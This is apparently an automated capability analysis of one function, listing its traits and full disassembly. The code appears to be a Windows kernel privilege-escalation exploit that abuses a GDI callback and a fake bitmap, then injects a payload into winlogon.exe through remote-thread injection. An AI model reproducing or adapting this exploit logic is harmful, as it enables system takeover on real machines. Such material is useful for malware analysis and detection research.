Function at 0x140001940
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Get system information on windows
Inject thread
Load ntoskrnl
Make suspicious ntquerysysteminformation call
Resolve ntoskrnl gadgets
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x2b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
lea rcx, [0x140003938]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
lea rdx, [0x140003920]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14000199d
lea rcx, str.____Getting_NtSetInformationThread_Failed_n
call fcn.140001010
call fcn.1400016c0
mov rdx, rax
lea rcx, str.____ktoken_addr__p_n
mov rbp, rax
call fcn.140001010
mov ecx, 0x20
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor r14d, r14d
lea r9, [rsp + 0x50]
mov rdx, rax
mov dword [rsp + 0x50], r14d
mov rdi, rax
lea r8d, [r14 + 0x20]
lea ecx, [r14 + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140001a14
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
mov rdx, rax
lea ecx, [r14 + 0xb]
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test rdi, rdi
jne 0x140001a27
lea rcx, str.____NtQuerySystemInformation_error_n
call fcn.140001010
jmp 0x140001a65
mov ebx, r14d
cmp dword [rdi], r14d
jbe 0x140001a5c
nop
mov eax, ebx
lea rdx, str.SystemRoot_system32_ntoskrnl.exe
imul rcx, rax, 0x128
mov rsi, qword [rcx + rdi + 0x18]
add rcx, 0x30
add rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140001a94
inc ebx
cmp ebx, dword [rdi]
jb 0x140001a30
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rsi, r14
xor edx, edx
lea rcx, str.ntoskrnl.exe
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rbx, rax
test rax, rax
jne 0x140001a9f
lea rcx, str.____leaking_ntoskrnl_version_n
call fcn.140001010
mov rdi, r14
jmp 0x140001abf
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001a68
lea rdx, str.RtlSetAllBits
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sub rsi, rbx
mov rcx, rbx
lea rdi, [rsi + rax]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rdx, rdi
mov qword [0x140045870], rdi
lea rcx, str.____GadgetAddr_addr__p_n
call fcn.140001010
lea rax, [rsp + 0x50]
mov dword [rsp + 0x50], r14d
mov qword [rsp + 0x28], rax
lea r8, [0x140001920]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov r8d, dword [rsp + 0x50]
lea rcx, str.____hTread_p_dwThreadID_d_n
mov rdx, rax
mov rbx, rax
call fcn.140001010
mov edi, 0x1000
mov r9d, 4
mov r8d, edi
mov edx, edi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movabs rcx, 0x4141414141414141
lea r8, [rsp + 0x40]
mov r9d, 0x10
mov qword [rax + 0x10], rcx
mov qword [rax + 0x18], rcx
lea rcx, [rbp + 0x40]
mov qword [rax + 8], rcx
lea edx, [r9 + 0x16]
mov qword [rax], 0x80
mov rcx, rbx
mov dword [rsp + 0x44], r14d
mov dword [rsp + 0x40], 0xffff1000
mov qword [rsp + 0x48], rax
call qword [sym.imp.ntdll.dll_NtSetInformationThread]
mov edx, 0x100000
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
lea r9, [rsp + 0x54]
mov r8d, 0x100000
mov rdx, rax
mov ecx, 0x42
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov ecx, dword [rbx]
movzx edi, word [rsp + 0x40]
add edi, 0x10
lea rsi, [rcx*2 + 1]
add rsi, rcx
lea rsi, [rbx + rsi*8]
add rbx, 8
cmp rbx, rsi
jae 0x140001bf1
lea rcx, [rbx + 0x10]
mov r8d, 4
lea rdx, str.ThNm
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncmp]
test eax, eax
jne 0x140001be8
mov eax, edi
cmp rax, qword [rbx + 8]
je 0x140001c62
add rbx, 0x18
cmp rbx, rsi
jb 0x140001bc5
lea rcx, str.____Lead_Pool_Addr_Failed_n
call fcn.140001010
mov rdx, r14
lea rcx, str.____Fake_RtlBitMapAddr_p_n
mov qword [0x140045bd8], rdx
call fcn.140001010
call fcn.140001350
test al, al
jne 0x140001c28
lea rcx, str.____Failed_to_setup_usermode_callback_n
call fcn.140001010
mov rdx, qword [0x140045bc8]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.GDI32.dll_CreateDCA]
mov qword [0x140045bc0], rax
test rax, rax
jne 0x140001c6f
lea rcx, str.____Failed_to_create_device_context
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
mov rax, 0xffffffffffffffff
jmp 0x140001e2d
mov rdx, qword [rbx]
and rdx, 0xfffffffffffffff0
add rdx, 0x10
jmp 0x140001c00
xor edx, edx
mov byte [0x140045878], 1
mov rcx, rax
call qword [sym.imp.GDI32.dll_ResetDCW]
lea rcx, str.____InjectToWinlogon_n
call fcn.140001010
xor edx, edx
mov dword [rsp + 0x60], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x60]
mov rbx, 0xffffffffffffffff
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001d3b
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140001d3b
lea rsi, str.winlogon.exe
nop word [rax + rax]
lea rdx, [rsp + 0x8c]
mov rax, rbx
nop dword [rax + rax]
movzx ecx, word [rdx + rax*2 + 2]
cmp cx, word [rsi + rax*2 + 2]
jne 0x140001d10
add rax, 2
cmp rax, 0xd
je 0x140001d37
movzx ecx, word [rdx + rax*2]
cmp cx, word [rsi + rax*2]
je 0x140001cf0
lea rdx, [rsp + 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001ce0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Could_not_find_process_n
jmp 0x140001e19
mov ebx, dword [rsp + 0x68]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jns 0x140001d54
lea rcx, str.Could_not_find_process_n
jmp 0x140001e19
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001d85
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Could_not_open_process:__x
call fcn.140001010
jmp 0x140001e1e
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x40200
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x140001dc1
lea rcx, str.____VirtualAllocEx_failed_n
call fcn.140001010
lea rcx, str.____remote_allocation_failed
jmp 0x140001e19
mov r9d, 0x40200
mov qword [rsp + 0x20], r14
lea r8, str.MZARUH
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001dec
lea rcx, str.____WriteProcessMemory_failed
jmp 0x140001e19
mov qword [rsp + 0x30], r14
mov r9, rdi
mov dword [rsp + 0x28], r14d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
cmp rax, 0xffffffffffffffff
jne 0x140001e1e
lea rcx, str.____CreateRemoteThread_failed
call fcn.140001010
lea rcx, str.___Done
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
xor eax, eax
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.140001e70
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret